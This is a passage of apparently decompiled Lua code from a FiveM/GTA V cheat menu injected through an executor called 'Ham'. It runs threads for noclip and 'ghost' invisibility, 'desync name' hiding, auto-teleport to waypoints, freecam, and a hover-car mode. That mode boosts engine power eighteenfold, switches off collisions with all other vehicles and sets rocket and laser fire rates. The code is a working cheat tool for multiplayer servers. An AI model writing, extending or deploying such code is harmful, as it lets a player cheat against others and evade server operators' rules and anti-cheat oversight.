ipairs(radioAnimations) do pcall(StopAnimTask, entity, animation.dict, animation.anim, 0.25) end end radioPhase = "idle" releaseUntil = 0 lastReleaseAt = 0 radioStartedAt = 0 activeRadioDict = nil activeRadioAnim = nil end while _G.runmenu == true do if menu.vars.bools.forceRadioAnim then local playerPed = PlayerPedId() local animation = getSelectedRadioAnimation() local animationDict, animationName = animation.dict, animation.anim local key = getRadioAnimationKey() local blocked = IsPauseMenuActive() if not blocked then blocked = menu.vars.visible == true end local isHuman = true pcall(function() isHuman = IsPedHuman(playerPed) end) local held = false if key and Ham and Ham.isKeyDown then held = Ham.isKeyDown(key) if held then if not blocked and not IsPedInAnyVehicle(playerPed, false) and isHuman then held = not IsEntityDead(playerPed) else held = false end end end if held then if radioPhase == "releasing" then pcall(function() if activeRadioDict and activeRadioAnim then StopAnimTask(playerPed, activeRadioDict, activeRadioAnim, forcedStopBlend) end ClearPedSecondaryTask(playerPed) end) radioPhase = "idle" end if activeRadioDict ~= animationDict or activeRadioAnim ~= animationName then if radioPhase == "playing" and activeRadioDict and activeRadioAnim then pcall(StopAnimTask, playerPed, activeRadioDict, activeRadioAnim, 0.2) end activeRadioDict = animationDict activeRadioAnim = animationName end if not HasAnimDictLoaded(animationDict) then RequestAnimDict(animationDict) else if radioPhase ~= "playing" then radioStartedAt = GetGameTimer() end radioPhase = "playing" if not IsEntityPlayingAnim(playerPed, animationDict, animationName, 3) then TaskPlayAnim( playerPed, animationDict, animationName, 4.0, -4.0, -1, radioAnimationFlags, 0.0, false, false, false ) end end elseif radioPhase == "playing" then releaseRadioAnimation(playerPed, animationDict, animationName) elseif radioPhase == "releasing" and releaseUntil <= GetGameTimer() then radioPhase = "idle" end Wait(0) else if radioPhase ~= "idle" then resetRadioAnimation(PlayerPedId()) end Wait(250) end end end pendingMenuEntry25 = runForceRadioAnimThread end pendingMenuEntry24(pendingMenuEntry25) pendingMenuEntry24 = "Citizen" pendingMenuEntry24 = _ENV[pendingMenuEntry24] pendingMenuEntry25 = "CreateThread" pendingMenuEntry24 = pendingMenuEntry24[pendingMenuEntry25] do local function runFreecamMenuInputThread() local savedSpeed = nil local inputPaused = false local controls = { 1, 2, 30, 31, 32, 33, 34, 35, 36, 21, 22, 23, 24, 25, 44, 38, 140, 141, 142, 257, 263 } while _G.runmenu == true do local freecam = menu.vars.bools and menu.vars.bools.freecam == true local guiOpen = Ham and Ham.isGuiOpen and Ham.isGuiOpen() == true local visible = menu.vars and menu.vars.visible == true if freecam and guiOpen and not visible then if not inputPaused then savedSpeed = menu.vars.sliders and menu.vars.sliders.freecamSpeed if not savedSpeed then savedSpeed = 0.5 end if Ham.setFreecamSpeed then Ham.setFreecamSpeed(0) end inputPaused = true end for inputGroup = 0, 2 do for _, control in ipairs(controls) do DisableControlAction(inputGroup, control, true) end end Wait(0) else if inputPaused and freecam then menu.vars._freecamLastHamSpeed = nil if menu.utils and menu.utils.applyFreecamHamSpeedNow then menu.utils.applyFreecamHamSpeedNow() elseif Ham.setFreecamSpeed then local speed = menu.vars.sliders and menu.vars.sliders.freecamSpeed if not speed then speed = savedSpeed or 0.5 end if menu.utils and menu.utils.mapFreecamDisplaySpeedToHam then local shiftHeld = menu.utils.isFreecamShiftHeld if shiftHeld then shiftHeld = menu.utils.isFreecamShiftHeld() end speed = menu.utils.mapFreecamDisplaySpeedToHam(speed, shiftHeld) end Ham.setFreecamSpeed(speed) end end inputPaused = false savedSpeed = nil Wait(100) end end end pendingMenuEntry25 = runFreecamMenuInputThread end pendingMenuEntry24(pendingMenuEntry25) pendingMenuEntry24 = "Citizen" pendingMenuEntry24 = _ENV[pendingMenuEntry24] pendingMenuEntry25 = "CreateThread" pendingMenuEntry24 = pendingMenuEntry24[pendingMenuEntry25] do local function runVehicleGunThread() while _G.runmenu == true do if menu.vars and menu.vars.bools and menu.vars.bools.vehicleGun then menu.vars.bools.vehicleGun = false end if menu.functions and menu.functions.clearVehicleGunNoCollision then menu.functions.clearVehicleGunNoCollision() end Wait(500) end end pendingMenuEntry25 = runVehicleGunThread end pendingMenuEntry24(pendingMenuEntry25) pendingMenuEntry24 = "Citizen" pendingMenuEntry24 = _ENV[pendingMenuEntry24] pendingMenuEntry25 = "CreateThread" pendingMenuEntry24 = pendingMenuEntry24[pendingMenuEntry25] do local function runVehicleInvisibleThread() local lastVehicle = nil local function restoreVehicleVisibility() local playerPed = PlayerPedId() if lastVehicle and DoesEntityExist(lastVehicle) then menu.utils.restoreGhostInvisible(lastVehicle) lastVehicle = nil end if IsPedInAnyVehicle(playerPed, false) then menu.utils.restoreGhostInvisible(GetVehiclePedIsIn(playerPed, false)) end end while _G.runmenu == true do if menu.vars.bools.vehicleInvisible then local playerPed = PlayerPedId() if IsPedInAnyVehicle(playerPed, false) then local vehicle = GetVehiclePedIsIn(playerPed, false) menu.utils.applyGhostInvisible(vehicle) lastVehicle = vehicle elseif lastVehicle and DoesEntityExist(lastVehicle) then menu.utils.restoreGhostInvisible(lastVehicle) lastVehicle = nil end Wait(0) else if not menu.vars.bools.noclip then local fullInvisible = menu.utils.isFullInvisibleVisibilityActive if fullInvisible then fullInvisible = menu.utils.isFullInvisibleVisibilityActive() end if not fullInvisible then restoreVehicleVisibility() end end Wait(100) end end end pendingMenuEntry25 = runVehicleInvisibleThread end pendingMenuEntry24(pendingMenuEntry25) pendingMenuEntry24 = "Citizen" pendingMenuEntry24 = _ENV[pendingMenuEntry24] pendingMenuEntry25 = "CreateThread" pendingMenuEntry24 = pendingMenuEntry24[pendingMenuEntry25] do local function runFullInvisibleWalkThread() while _G.runmenu == true do local fullInvisibleWalk = menu.vars if fullInvisibleWalk then fullInvisibleWalk = menu.vars.bools end fullInvisibleWalk = fullInvisibleWalk and fullInvisibleWalk.fullInvisibleWalk == true local desyncNameEffectActive = menu.functions.isDesyncNameEffectActive if desyncNameEffectActive then desyncNameEffectActive = menu.functions.isDesyncNameEffectActive() end if fullInvisibleWalk or desyncNameEffectActive then local playerPed = PlayerPedId() if IsPedInAnyVehicle(playerPed, false) then local vehicle = GetVehiclePedIsIn(playerPed, false) if menu.utils.applyExclusiveVehicleDriver then menu.utils.applyExclusiveVehicleDriver(vehicle, playerPed) end Wait(0) else Wait(250) end else Wait(500) end end end pendingMenuEntry25 = runFullInvisibleWalkThread end pendingMenuEntry24(pendingMenuEntry25) pendingMenuEntry24 = Citizen.CreateThread do local function runDesyncBlockTaskTreeThread() while _G.runmenu == true do local desyncNameEffectActive = menu.functions.isDesyncNameEffectActive if desyncNameEffectActive then desyncNameEffectActive = menu.functions.isDesyncNameEffectActive() end if desyncNameEffectActive then if menu.functions.updateDesyncBlockTaskTree then menu.functions.updateDesyncBlockTaskTree() end Wait(0) else Wait(500) end end end pendingMenuEntry25 = runDesyncBlockTaskTreeThread end pendingMenuEntry24(pendingMenuEntry25) pendingMenuEntry24 = Citizen.CreateThread do local function runDesyncNameThread() local noclipHidden = false local ghostInvisible = false while _G.runmenu == true do local ghostPaused = menu.vars if ghostPaused then ghostPaused = menu.vars._noclipGhostPaused if not ghostPaused then ghostPaused = 0 end ghostPaused = 0 < ghostPaused end local desyncEnabled = menu.vars.bools if desyncEnabled then desyncEnabled = menu.vars.bools.desyncName == true end local fullInvisible = menu.utils.isFullInvisibleVisibilityActive if fullInvisible then fullInvisible = menu.utils.isFullInvisibleVisibilityActive() end local invisibleEnabled = menu.vars.bools.invisibility == true local shouldHideNoclip if not ghostPaused then if desyncEnabled then shouldHideNoclip = false else local noclipInvisible = menu.vars.bools.noclip if noclipInvisible then noclipInvisible = menu.vars.bools.noclipInvis if noclipInvisible and not fullInvisible then shouldHideNoclip = true else shouldHideNoclip = invisibleEnabled end else shouldHideNoclip = invisibleEnabled end end else shouldHideNoclip = false end local shouldApplyGhost if not fullInvisible then shouldApplyGhost = fullInvisible elseif not ghostPaused and not invisibleEnabled then shouldApplyGhost = not desyncEnabled else shouldApplyGhost = false end if desyncEnabled then local playerPed = PlayerPedId() menu.utils.restoreNoclipInvisHidden(playerPed) if IsPedInAnyVehicle(playerPed, false) then menu.utils.restoreNoclipInvisHidden(GetVehiclePedIsIn(playerPed, false)) end noclipHidden = false ghostInvisible = false Wait(0) elseif shouldHideNoclip then local playerPed = PlayerPedId() menu.utils.applyNoclipInvisHidden(playerPed) if IsPedInAnyVehicle(playerPed, false) then menu.utils.applyNoclipInvisHidden(GetVehiclePedIsIn(playerPed, false)) end noclipHidden = true ghostInvisible = false Wait(0) elseif shouldApplyGhost then local playerPed = PlayerPedId() if noclipHidden then menu.utils.restoreNoclipInvisHidden(playerPed) if IsPedInAnyVehicle(playerPed, false) then menu.utils.restoreNoclipInvisHidden(GetVehiclePedIsIn(playerPed, false)) end end if IsPedInAnyVehicle(playerPed, false) then local vehicle = GetVehiclePedIsIn(playerPed, false) if menu.utils.applyInVehiclePedGhostInvisible then menu.utils.applyInVehiclePedGhostInvisible(playerPed, 100) else menu.utils.applyGhostInvisible(playerPed, 100) end if menu.utils.applyVehicleGhostInvisible then menu.utils.applyVehicleGhostInvisible(vehicle, 100) else menu.utils.applyGhostInvisible(vehicle, 100) end else menu.utils.applyGhostInvisible(playerPed, 100) end noclipHidden = false ghostInvisible = true Wait(0) else if noclipHidden or ghostInvisible then local playerPed = PlayerPedId() if noclipHidden then menu.utils.restoreNoclipInvisHidden(playerPed) if IsPedInAnyVehicle(playerPed, false) then menu.utils.restoreNoclipInvisHidden(GetVehiclePedIsIn(playerPed, false)) end else menu.utils.restoreGhostInvisible(playerPed) if IsPedInAnyVehicle(playerPed, false) then menu.utils.restoreGhostInvisible(GetVehiclePedIsIn(playerPed, false)) end end noclipHidden = false ghostInvisible = false end Wait(100) end end end pendingMenuEntry25 = runDesyncNameThread end pendingMenuEntry24(pendingMenuEntry25) pendingMenuEntry24 = Citizen.CreateThread do local function runAutoTeleportThread() local lastWaypoint = nil while _G.runmenu == true do if menu.vars and menu.vars.bools and menu.vars.bools.autoTeleport then local waypoint = GetFirstBlipInfoId(8) local waypointExists = DoesBlipExist(waypoint) if waypointExists then if waypoint ~= lastWaypoint then lastWaypoint = waypoint local createThread = Citizen.CreateThread local function teleportToWaypoint() if menu.functions and menu.functions.teleportToWaypoint then menu.functions.teleportToWaypoint() end end createThread(teleportToWaypoint) end else lastWaypoint = nil end Wait(200) else lastWaypoint = nil Wait(500) end end end pendingMenuEntry25 = runAutoTeleportThread end pendingMenuEntry24(pendingMenuEntry25) pendingMenuEntry24 = Citizen.CreateThread do local function runVehicleHoverTestThread() local autopilotTaskActive, forcedClockActive, savedClockHour, savedClockMinute, savedClockSecond, autopilotWaypointBlip, autopilotWaypointPosition, lastVehicleStatsUpdateAt, lastVehicleStatsVehicle, hornBoostStartedAt, instantStopWasAirborne, instantStopAwaitingRelease, lastSeatSwitchVehicle, lastSeatSwitchAt, fastExitBlockedUntil, wasInVehicle, wasAirborneForLanding, landingTiltSmoothed, airborneFrames, handlingVehicle, savedVehicleHandling, spinVelocityDirection, landingVelocityDirection, landingRecoveryFrames, spinYawOffset, spinInitialYaw, activeSpinInput, landingTiltDistanceLimit, spinYawStep, landingRecoveryDuration, hoverState, stabilityVehicle, savedStabilityHandling, powerVehicle, savedPowerHandling, autopilotLastTaskAt autopilotTaskActive = false forcedClockActive = false savedClockHour = nil savedClockMinute = nil savedClockSecond = nil autopilotWaypointBlip = nil autopilotWaypointPosition = nil lastVehicleStatsUpdateAt = 0 lastVehicleStatsVehicle = nil hornBoostStartedAt = nil instantStopWasAirborne = false instantStopAwaitingRelease = false lastSeatSwitchVehicle = nil lastSeatSwitchAt = 0 fastExitBlockedUntil = 0 wasInVehicle = false wasAirborneForLanding = false landingTiltSmoothed = false airborneFrames = 0 handlingVehicle = nil savedVehicleHandling = nil spinVelocityDirection = nil landingVelocityDirection = nil landingRecoveryFrames = 0 spinYawOffset = 0.0 spinInitialYaw = nil activeSpinInput = 0 landingTiltDistanceLimit = 4.0 spinYawStep = 1.4 landingRecoveryDuration = 8 hoverState = {} hoverState.veh = nil hoverState.velX = 0.0 hoverState.velY = 0.0 hoverState.velZ = 0.0 hoverState.roll = 0.0 hoverState.flying = false hoverState.landingVx = 0.0 hoverState.landingVy = 0.0 hoverState.landingFrames = 0 hoverState.wheelVeh = nil hoverState.wheelDefaults = nil hoverState.wheelsModified = false hoverState.exhaustPtfxReady = false hoverState.exhaustSoundNextAt = 0 hoverState.exhaustSoundVehicle = nil hoverState.backflipActive = false hoverState.backflipElapsed = 0.0 hoverState.backflipStartPitch = 0.0 hoverState.backflipStartRoll = 0.0 hoverState.backflipStartYaw = 0.0 hoverState.backflipAxis = "pitch" hoverState.backflipDirection = -1.0 hoverState.spinLoopActive = false hoverState.spinLoopDirection = 0.0 hoverState.spinLoopRoll = 0.0 hoverState.spinLoopPitch = 0.0 hoverState.spinLoopYaw = 0.0 hoverState.spinReturnActive = false hoverState.spinHoldTime = 0.0 hoverState.spinComboHeld = false hoverState.spinLastDirection = 0.0 hoverState.lastSpaceTapAt = 0 hoverState.climbPitchMode = nil hoverState.thread = nil hoverState.lastRocketAt = 0 hoverState.lastLaserAt = 0 hoverState.ROCKET_INTERVAL_MS = 280 hoverState.LASER_INTERVAL_MS = 20 hoverState.MAX_SPEED = 50.0 hoverState.THRUST = 58.0 hoverState.HOVER_DAMP = 3.0 hoverState.YAW_SMOOTH = 3.0 hoverState.PITCH_SMOOTH = 2.2 hoverState.PITCH_FOLLOW = 0.5 hoverState.MAX_PITCH = 26.0 hoverState.ROLL_SMOOTH = 7.0 hoverState.MAX_ROLL = 10.0 hoverState.GROUND_LIFT_SPEED = 1.1 hoverState.GROUND_HOVER_HEIGHT = 0.32 hoverState.SHIFT_MULT = 2.85 hoverState.LANDING_CARRY_FRAMES = 28 hoverState.BACKFLIP_DURATION = 0.88 hoverState.BACKFLIP_DEGREES = 360.0 hoverState.BACKFLIP_CONTROL = 25 hoverState.SPIN_LOOP_SPEED = 480.0 hoverState.SPIN_HOLD_THRESHOLD = 0.16 hoverState.SPIN_RETURN_SMOOTH = 5.0 hoverState.SPACE_DOUBLE_TAP_MS = 320 local climbControls = { 24, 68, 91 } hoverState.CLIMB_CONTROLS = climbControls hoverState.CLIMB_MAX_PITCH = 75.0 hoverState.CLIMB_PITCH_SMOOTH = 5.5 hoverState.CLIMB_RETURN_PITCH_SMOOTH = 2.6 hoverState.CLIMB_LIFT_MULT = 0.85 local exhaustBones = { "exhaust", "exhaust_2", "exhaust_3", "exhaust_4", "exhaust_5", "exhaust_6", "exhaust_7", "exhaust_8", "exhaust_9", "exhaust_10", "exhaust_11", "exhaust_12", "exhaust_13", "exhaust_14", "exhaust_15", "exhaust_16" } hoverState.EXHAUST_BONES = exhaustBones hoverState.EXHAUST_BACKFIRE_SCALE = 2.4 hoverState.EXHAUST_SOUND_MIN_MS = 55 hoverState.EXHAUST_SOUND_MAX_MS = 120 hoverState.EXHAUST_SOUND_POP_TYPE = 61 hoverState.EXHAUST_SOUND_FLAME_TYPE = 12 hoverState.WHEEL_CAMBER = 0.68 hoverState.WHEEL_EXTRA_WIDTH = 0.32 hoverState.SUSPENSION_DROP = 0.12 local function repairHoverVehicleWheels(entity) if not entity or entity == 0 or not DoesEntityExist(entity) then return end SetVehicleModKit(entity, 0) for wheel = 0, 5, 1 do if SetVehicleTyreFixed then SetVehicleTyreFixed(entity, wheel) end end local frontMod = GetVehicleMod(entity, 23) local rearMod = GetVehicleMod(entity, 24) if 0 <= frontMod then SetVehicleMod(entity, 23, frontMod, GetVehicleModVariation(entity, 23)) end if 0 <= rearMod then SetVehicleMod(entity, 24, rearMod, GetVehicleModVariation(entity, 24)) elseif 0 <= frontMod then SetVehicleMod(entity, 24, frontMod, GetVehicleModVariation(entity, 23)) end end local function setHoverVehicleRotationAndRepairWheels(entity, pitch, roll, yaw) if not entity or entity == 0 or not DoesEntityExist(entity) then return end SetEntityRotation(entity, pitch or 0.0, roll or 0.0, yaw or 0.0, 2, false) repairHoverVehicleWheels(entity) end local function invokeNativeWithRotationVelocity(entity, rotationVelocity, scale) if not rotationVelocity then rotationVelocity = GetEntityRotationVelocity(entity) end local multiplier = scale or 0.0 Citizen.InvokeNative( -8991045003986787794, entity, rotationVelocity.x * multiplier, rotationVelocity.y * multiplier, rotationVelocity.z ) end local function disableVehicleCollisionsWithOtherVehicles(entity) if not entity or entity == 0 or not DoesEntityExist(entity) then return end for _, otherVehicle in ipairs(GetGamePool("CVehicle")) do if otherVehicle ~= entity and DoesEntityExist(otherVehicle) then SetEntityNoCollisionEntity(entity, otherVehicle, true) SetEntityNoCollisionEntity(otherVehicle, entity, true) end end end local function restoreVehicleCollisionsWithOtherVehicles(entity) if not entity or entity == 0 or not DoesEntityExist(entity) then return end for _, otherVehicle in ipairs(GetGamePool("CVehicle")) do if otherVehicle ~= entity and DoesEntityExist(otherVehicle) then SetEntityNoCollisionEntity(entity, otherVehicle, false) SetEntityNoCollisionEntity(otherVehicle, entity, false) end end end local function captureHoverVehicleHandling(entity) if not entity or entity == 0 or not DoesEntityExist(entity) then return end handlingVehicle = entity repairHoverVehicleWheels(entity) local handling = {} handling.fInitialDriveMaxFlatVel = GetVehicleHandlingFloat(entity, "CHandlingData", "fInitialDriveMaxFlatVel") handling.fInitialDriveForce = GetVehicleHandlingFloat(entity, "CHandlingData", "fInitialDriveForce") handling.fDriveInertia = GetVehicleHandlingFloat(entity, "CHandlingData", "fDriveInertia") handling.fSteeringLock = GetVehicleHandlingFloat(entity, "CHandlingData", "fSteeringLock") handling.fTractionCurveMax = GetVehicleHandlingFloat(entity, "CHandlingData", "fTractionCurveMax") handling.fTractionCurveMin = GetVehicleHandlingFloat(entity, "CHandlingData", "fTractionCurveMin") handling.fTractionLossMult = GetVehicleHandlingFloat(entity, "CHandlingData", "fTractionLossMult") handling.fLowSpeedTractionLossMult = GetVehicleHandlingFloat(entity, "CHandlingData", "fLowSpeedTractionLossMult") handling.fSuspensionForce = GetVehicleHandlingFloat(entity, "CHandlingData", "fSuspensionForce") handling.fSuspensionCompDamp = GetVehicleHandlingFloat(entity, "CHandlingData", "fSuspensionCompDamp") handling.fSuspensionReboundDamp = GetVehicleHandlingFloat(entity, "CHandlingData", "fSuspensionReboundDamp") handling.fAntiRollBarForce = GetVehicleHandlingFloat(entity, "CHandlingData", "fAntiRollBarForce") handling.fBrakeForce = GetVehicleHandlingFloat(entity, "CHandlingData", "fBrakeForce") handling.vecInertiaMultiplier = GetVehicleHandlingVector(entity, "CHandlingData", "vecInertiaMultiplier") handling.vecCentreOfMassOffset = GetVehicleHandlingVector(entity, "CHandlingData", "vecCentreOfMassOffset") savedVehicleHandling = handling end local function restoreHoverVehicleHandling() if handlingVehicle and DoesEntityExist(handlingVehicle) then restoreVehicleCollisionsWithOtherVehicles(handlingVehicle) end if handlingVehicle and savedVehicleHandling and DoesEntityExist(handlingVehicle) then local handling = savedVehicleHandling SetVehicleHandlingFloat( handlingVehicle, "CHandlingData", "fInitialDriveMaxFlatVel", handling.fInitialDriveMaxFlatVel ) SetVehicleHandlingFloat( handlingVehicle, "CHandlingData", "fInitialDriveForce", handling.fInitialDriveForce ) SetVehicleHandlingFloat(handlingVehicle, "CHandlingData", "fDriveInertia", handling.fDriveInertia) SetVehicleHandlingFloat(handlingVehicle, "CHandlingData", "fSteeringLock", handling.fSteeringLock) SetVehicleHandlingFloat( handlingVehicle, "CHandlingData", "fTractionCurveMax", handling.fTractionCurveMax ) SetVehicleHandlingFloat( handlingVehicle, "CHandlingData", "fTractionCurveMin", handling.fTractionCurveMin ) SetVehicleHandlingFloat( handlingVehicle, "CHandlingData", "fTractionLossMult", handling.fTractionLossMult ) SetVehicleHandlingFloat( handlingVehicle, "CHandlingData", "fLowSpeedTractionLossMult", handling.fLowSpeedTractionLossMult ) SetVehicleHandlingFloat(handlingVehicle, "CHandlingData", "fSuspensionForce", handling.fSuspensionForce) SetVehicleHandlingFloat( handlingVehicle, "CHandlingData", "fSuspensionCompDamp", handling.fSuspensionCompDamp ) SetVehicleHandlingFloat( handlingVehicle, "CHandlingData", "fSuspensionReboundDamp", handling.fSuspensionReboundDamp ) SetVehicleHandlingFloat( handlingVehicle, "CHandlingData", "fAntiRollBarForce", handling.fAntiRollBarForce ) SetVehicleHandlingFloat(handlingVehicle, "CHandlingData", "fBrakeForce", handling.fBrakeForce) SetVehicleHandlingVector( handlingVehicle, "CHandlingData", "vecInertiaMultiplier", handling.vecInertiaMultiplier ) SetVehicleHandlingVector( handlingVehicle, "CHandlingData", "vecCentreOfMassOffset", handling.vecCentreOfMassOffset ) SetVehicleEnginePowerMultiplier(handlingVehicle, 0.0) SetVehicleEngineTorqueMultiplier(handlingVehicle, 1.0) end handlingVehicle = nil savedVehicleHandling = nil end local function applyHoverVehicleHandling(vehicle) if not savedVehicleHandling then return end local handling = savedVehicleHandling local inertia = handling.vecInertiaMultiplier local centerOfMass = handling.vecCentreOfMassOffset local recoveringFromLanding = 0 < landingRecoveryFrames SetVehicleHandlingFloat( vehicle, "CHandlingData", "fInitialDriveMaxFlatVel", handling.fInitialDriveMaxFlatVel * 1.22 ) SetVehicleHandlingFloat(vehicle, "CHandlingData", "fInitialDriveForce", handling.fInitialDriveForce * 1.18) SetVehicleHandlingFloat(vehicle, "CHandlingData", "fDriveInertia", handling.fDriveInertia * 0.92) SetVehicleHandlingFloat( vehicle, "CHandlingData", "fSteeringLock", math.min(handling.fSteeringLock + 28.0, 62.0) ) if recoveringFromLanding then SetVehicleHandlingFloat( vehicle, "CHandlingData", "fTractionCurveMax", handling.fTractionCurveMax * 0.92 ) SetVehicleHandlingFloat(vehicle, "CHandlingData", "fTractionCurveMin", handling.fTractionCurveMin * 0.9) SetVehicleHandlingFloat( vehicle, "CHandlingData", "fTractionLossMult", math.max(0.0, handling.fTractionLossMult * 0.9) ) SetVehicleHandlingFloat( vehicle, "CHandlingData", "fLowSpeedTractionLossMult", math.max(0.0, handling.fLowSpeedTractionLossMult * 0.9) ) SetVehicleHandlingFloat(vehicle, "CHandlingData", "fSuspensionForce", handling.fSuspensionForce * 0.94) SetVehicleHandlingFloat( vehicle, "CHandlingData", "fSuspensionCompDamp", handling.fSuspensionCompDamp * 0.88 ) SetVehicleHandlingFloat( vehicle, "CHandlingData", "fSuspensionReboundDamp", handling.fSuspensionReboundDamp * 0.9 ) SetVehicleHandlingFloat( vehicle, "CHandlingData", "fAntiRollBarForce", handling.fAntiRollBarForce * 0.92 ) else SetVehicleHandlingFloat( vehicle, "CHandlingData", "fTractionCurveMax", math.max(handling.fTractionCurveMax * 1.08, handling.fTractionCurveMax + 0.4) ) SetVehicleHandlingFloat( vehicle, "CHandlingData", "fTractionCurveMin", math.max(handling.fTractionCurveMin * 1.05, handling.fTractionCurveMin + 0.25) ) SetVehicleHandlingFloat( vehicle, "CHandlingData", "fTractionLossMult", math.max(0.0, handling.fTractionLossMult * 0.85) ) SetVehicleHandlingFloat( vehicle, "CHandlingData", "fLowSpeedTractionLossMult", math.max(0.0, handling.fLowSpeedTractionLossMult * 0.85) ) SetVehicleHandlingFloat(vehicle, "CHandlingData", "fSuspensionForce", handling.fSuspensionForce * 1.2) SetVehicleHandlingFloat( vehicle, "CHandlingData", "fSuspensionCompDamp", handling.fSuspensionCompDamp * 1.15 ) SetVehicleHandlingFloat( vehicle, "CHandlingData", "fSuspensionReboundDamp", handling.fSuspensionReboundDamp * 1.15 ) SetVehicleHandlingFloat( vehicle, "CHandlingData", "fAntiRollBarForce", handling.fAntiRollBarForce * 1.45 ) end SetVehicleHandlingFloat(vehicle, "CHandlingData", "fBrakeForce", handling.fBrakeForce) SetVehicleHandlingVector( vehicle, "CHandlingData", "vecInertiaMultiplier", vector3(math.max(inertia.x, 1.0), math.max(inertia.y * 0.9, 1.2), math.max(inertia.z * 0.85, 1.1)) ) SetVehicleHandlingVector( vehicle, "CHandlingData", "vecCentreOfMassOffset", vector3(centerOfMass.x, centerOfMass.y, centerOfMass.z - 0.15) ) SetVehicleEnginePowerMultiplier(vehicle, 18.0) SetVehicleEngineTorqueMultiplier(vehicle, 1.18) end local function smoothHoverVehicleLandingTilt(entity, pitch, roll, distance) local amount = math.max(0.0, math.min(1.0, (landingTiltDistanceLimit - distance) / landingTiltDistanceLimit)) local smoothing = 0.025 + amount * 0.07 local rotationVelocity = GetEntityRotationVelocity(entity) local currentPitch, currentRoll, currentYaw = table.unpack(GetEntityRotation(entity, 2)) local nextPitch = pitch + (0.0 - pitch) * smoothing local nextRoll = roll + (0.0 - roll) * smoothing setHoverVehicleRotationAndRepairWheels(entity, nextPitch, nextRoll, currentYaw) invokeNativeWithRotationVelocity(entity, rotationVelocity, math.max(0.0, 1.0 - smoothing)) local velocity = GetEntityVelocity(entity) if velocity.z < -5.0 then SetEntityVelocity(entity, velocity.x, velocity.y, velocity.z * 0.96) end end local function captureHoverVehicleLandingDirection(entity, velocity, previousDirection) local speed = math.sqrt(velocity.x * velocity.x + velocity.y * velocity.y) if previousDirection and previousDirection.speed and 0.0 < previousDirection.speed then landingVelocityDirection = { x = previousDirection.x, y = previousDirection.y, speed = math.max(previousDirection.speed, speed) } return end if 1.0 <= speed then landingVelocityDirection = { x = velocity.x / speed, y = velocity.y / speed, speed = speed } return end local forward = GetEntityForwardVector(entity) landingVelocityDirection = { x = forward.x, y = forward.y, speed = math.max(GetEntitySpeed(entity), 0.0) } end local function applyHoverVehicleLandingDirection(entity) local direction = landingVelocityDirection if not direction or not entity or entity == 0 or not DoesEntityExist(entity) then return end local velocity = GetEntityVelocity(entity) local speed = math.sqrt(velocity.x * velocity.x + velocity.y * velocity.y) local velocityX, velocityY, velocityZ = velocity.x, velocity.y, velocity.z if velocityZ < -2.5 and landingRecoveryFrames >= landingRecoveryDuration - 2 then velocityZ = velocityZ * 0.72 end if speed < direction.speed * 0.6 then local targetSpeed = direction.speed * 0.9 velocityX = direction.x * targetSpeed velocityY = direction.y * targetSpeed end SetEntityVelocity(entity, velocityX, velocityY, velocityZ) end local function clearHoverVehicleLandingDirection() landingVelocityDirection = nil landingRecoveryFrames = 0 end local function captureHoverVehicleSpinDirection(entity, velocity) local speed = math.sqrt(velocity.x * velocity.x + velocity.y * velocity.y) if 1.5 <= speed then spinVelocityDirection = { x = velocity.x / speed, y = velocity.y / speed, speed = speed } return end local forward = GetEntityForwardVector(entity) spinVelocityDirection = { x = forward.x, y = forward.y, speed = math.max(GetEntitySpeed(entity), 0.0) } end local function getHoverVehicleSpinInput() if not IsControlPressed(0, 21) then return 0.0 end local leftPressed = IsControlPressed(0, 34) or IsControlPressed(0, 63) local rightPressed = IsControlPressed(0, 35) or IsControlPressed(0, 64) local input = 0.0 if leftPressed then input = input + 1.0 end if rightPressed then input = input - 1.0 end return math.max(-1.0, math.min(1.0, input)) end local function clearHoverVehicleSpinInput() activeSpinInput = 0 end local function resetHoverVehicleSpinState() spinYawOffset = 0.0 spinInitialYaw = nil spinVelocityDirection = nil clearHoverVehicleSpinInput() end local function isHoverVehicleSpinActive() return activeSpinInput ~= 0 end local function applyHoverVehicleSpinVelocity(vehicle, velocity) local direction = spinVelocityDirection if not direction then return end local speed = math.sqrt(velocity.x * velocity.x + velocity.y * velocity.y) local targetSpeed = math.max(direction.speed, speed) direction.speed = targetSpeed SetVehicleHandlingFloat(vehicle, "CHandlingData", "fTractionCurveMax", 0.0) SetVehicleHandlingFloat(vehicle, "CHandlingData", "fTractionCurveMin", 0.0) SetVehicleHandlingFloat(vehicle, "CHandlingData", "fTractionLossMult", 0.0) SetVehicleHandlingFloat(vehicle, "CHandlingData", "fLowSpeedTractionLossMult", 0.0) SetVehicleHandbrake(vehicle, false) SetVehicleForwardSpeed(vehicle, 0.0) SetVehicleSteerBias(vehicle, 0.0) SetEntityVelocity(vehicle, direction.x * targetSpeed, direction.y * targetSpeed, velocity.z) end local function updateHoverVehicleSpin(entity, pitch, roll, velocity) local input = getHoverVehicleSpinInput() if math.abs(input) < 0.05 then resetHoverVehicleSpinState() return false end if activeSpinInput ~= 0 and (0.0 < input) ~= (0.0 < activeSpinInput) then activeSpinInput = input spinYawOffset = 0.0 spinInitialYaw = nil captureHoverVehicleSpinDirection(entity, velocity) end if activeSpinInput == 0 then activeSpinInput = input captureHoverVehicleSpinDirection(entity, velocity) end DisableControlAction(0, 63, true) DisableControlAction(0, 64, true) DisableControlAction(0, 72, true) DisableControlAction(0, 76, true) applyHoverVehicleSpinVelocity(entity, velocity) if not spinInitialYaw then local currentPitch, currentRoll, currentYaw = table.unpack(GetEntityRotation(entity, 2)) spinInitialYaw = currentYaw spinYawOffset = 0.0 end spinYawOffset = spinYawOffset + input * spinYawStep setHoverVehicleRotationAndRepairWheels(entity, pitch, roll, spinInitialYaw + spinYawOffset) applyHoverVehicleSpinVelocity(entity, GetEntityVelocity(entity)) return true end do local function restoreVehicleHoverTestGravity(entity) if not entity or entity == 0 or not DoesEntityExist(entity) then return end if SetEntityHasGravity then SetEntityHasGravity(entity, true) end if SetVehicleGravity then SetVehicleGravity(entity, true) end end hoverState.restoreVehicleHoverTestGravity = restoreVehicleHoverTestGravity end do local function isVehicleHoverTestOnGround(entity) if not entity or entity == 0 or not DoesEntityExist(entity) then return true end if IsVehicleOnAllWheels and IsVehicleOnAllWheels(entity) then return true end local height = tonumber(GetEntityHeightAboveGround(entity)) if height then return height <= 0.18 end return not IsEntityInAir(entity) end hoverState.isVehicleHoverTestOnGround = isVehicleHoverTestOnGround end do local function isVehicleHoverTestInAir(entity) return not hoverState.isVehicleHoverTestOnGround(entity) end hoverState.isVehicleHoverTestInAir = isVehicleHoverTestInAir end do local function isVehicleHoverTestFlightActive(entity) if hoverState.flying == true and hoverState.veh == entity then return 